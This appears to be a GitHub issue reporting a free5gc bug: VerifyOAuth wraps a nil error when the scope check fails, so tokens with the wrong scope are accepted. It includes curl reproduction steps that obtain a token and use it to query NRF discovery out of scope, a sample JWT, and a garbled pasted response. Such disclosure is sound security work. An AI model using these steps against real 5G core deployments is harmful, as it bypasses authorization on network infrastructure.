-
Notifications
You must be signed in to change notification settings - Fork 79
Description
Bug Decription
I found a bug in the free5gc source code related to error handling in the VerifyOAuth function.
The relevant code snippet is in openapi/oauth/oauth.go: link at https://github.com/free5gc/openapi/blob/main/oauth/oauth.go
func VerifyOAuth(
authorization, serviceName, certPath string,
) error {
....
token, err := jwt.ParseWithClaims(...)
....
if !verifyScope(token.Claims.(*models.AccessTokenClaims).Scope, serviceName) {
return errors.Wrapf(err, "verify OAuth scope")
}
return nil
}
The issue occurs in the following line: return errors.Wrapf(err, "verify OAuth scope")
In this context, err is the result of jwt.ParseWithClaims, not of the verifyScope check. Therefore, if verifyScope returns false, indicating that the access token does not have the required scope, the err variable may still be nil (assuming the JWT parsing succeeded). This leads to a situation where the function incorrectly returns nil, silently ignoring the failed scope verification.
To Reproduce
Here is an example demo to exploit the bug,
- use the curl command to get an access token:
curl --location 'http://10.100.200.4:8000/nnrf-disc/v1/nf-instances?target-nf-oauth2/token' --header 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'grant_type=client_credentials' --data-urlencode 'nfInstanceId=08f5bb39-eb54-4f35-a616-926d22f88253' --data-urlencode 'nfType=AMF' --data-urlencode 'targetNfType=UDR' --data-urlencode 'scope=nudr-dr'
And we got the token:
{"access_token":"eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiIiLCJzdWIiOiIwOGY1YmIzOS1lYjU0LTRmMzUtYTYxNi05MjZkMjJmODgyNTMiLCJhdWQiOiIiLCJzY29wZSI6Im51ZHItZHIiLCJleHAiOjE3NTQ0Mjk5ODMsImlhdCI6MTc1NDQyODk4M30.esTqk6v_oKWFCDWCsrQNmNdm8591bbEFureRJgXTqC8lw9kySGnRcIHynrQK0MFG9aXTGjYZRlN05QRRhXg6NcpwlbUgFNUEcsWW1n8htp7c33v8IRx3DFGDx5Hs8NH_xzlr3gXvwAh4np5kAV6aXORmgnUbaadKUlqEvjXl-FSJKF-MpuJALmKIpB_L3ruOV3U_-QM6zecffF0VQeqVKvx_QwYysMOau5B925wyCzSsKqjfq3BtptMT9-T_QmLlZv3Okbmt7QbBaIZLtLt5DM8MpS1OEDta9ua0h89PNOP3HcCJmpJQodepikRUtqYFg5oiC7Jnryn4ZrWHCu7-fw","token_type":"Bearer","expires_in":1000,"scope":"nudr-dr"}
- Then we use the token to request other services with requester-nf-type and target-nf-type not matching those inside the token:
curl --location 'http://10.100.200.4:8000/nnrf-disc/v1/nf-instances?target-nf-type=SMF&requester-nf-type=nnrf-disc/v1/nf-instances?target-nf-type=SMF&requester-nf-type=UDR' --header 'Authorization: Bearer eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiIiLCJzdWIiOiIwOGY1YmIzOS1lYjU0LTRmMzUtYTYxNi05MjZkMjJmODgyNTMiLCJhdWQiOiIiLCJzY29wZSI6Im51ZHItZHIiLCJleHAiOjE3NTQ0Mjk5ODMsImlhdCI6MTc1NDQyODk4M30.esTqk6v_oKWFCDWCsrQNmNdm8591bbEFureRJgXTqC8lw9kySGnRcIHynrQK0MFG9aXTGjYZRlN05QRRhXg6NcpwlbUgFNUEcsWW1n8htp7c33v8IRx3DFGDx5Hs8NH_xzlr3gXvwAh4np5kAV6aXORmgnUbaadKUlqEvjXl-FSJKF-MpuJALmKIpB_L3ruOV3U_-QM6zecffF0VQeqVKvx_QwYysMOau5B925wyCzSsKqjfq3BtptMT9-T_QmLlZv3Okbmt7QbBaIZLtLt5DM8MpS1OEDta9ua0h89PNOP3HcCJmpJQodepikRUtqYFg5oiC7Jnryn4ZrWHCu7-fw'
Now since there are bugs in the oauth code, we still have the response of that service, although we provided a token with scopes not matching the current request:
{"validityPeriod":100,"nfInstances":[{"n97-eb760f32ab8f","nfType":"SMF","nfStatu"208","mnc":"93"}],"sNssais":[{"sst":1,""}],"ipv4Addresses":["smf.free5gc.org"],aiSmfInfoList":[{"sNssai":{"sst":1,"sd":"internet"}]},{"sNssai":{"sst":1,"sd":"1nternet"}]}]},"customInfo":{"oauth2":trud":"522c704a-779d-4bd0-a997-eb760f32ab8ff-pdusession","versions":[{"apiVersionIn/smf.free5gc.org:8000/nsmf-pdusession/v1956225Z"}],"scheme":"https","nfServiceStp://smf.free5gc.org:8000"},{"serviceInst760f32ab8fnsmf-event-exposure","serviceNs":[{"apiVersionInUri":"v1","apiFullVersnsmf-pdusession/v1","expiry":"2025-07-17ttps","nfServiceStatus":"REGISTERED","ap00"},{"serviceInstanceId":"522c704a-779derviceName":"nsmf-oam","versions":[{"api:"https://smf.free5gc.org:8000/nsmf-pdus45:17.601956225Z"}],"scheme":"https","nffix":"http://smf.free5gc.org:8000/"}]}]}
Expected Behavior
The error should be created as a new variable so that the function can return an error when verifyScope fails.
Screenshots
I customized the code, adding logs to track the call chain, and it clearly shows that when verifyScope fails, still a NIL error value is returned in the buggy function.
Environment
should be the same as Riccardo
- free5GC Version: v4.0.0
- OS: Ubuntu 24.04 LTS
- Kernel version: 6.8.0-63-generic
- go version: go1.21.8 linux/amd64
Trace Files
Configuration Files
[configs.zip](configs.zip) We used the default configuration files from the https://github.com/free5gc/free5gc-compose, but we didn't launch some UERANISIM-related network function container instances.
PCAP File
Log File
I customized the code, adding logs to track the call chain, and it clearly shows that when verifyScope fails, still a NIL error value is returned in the buggy function.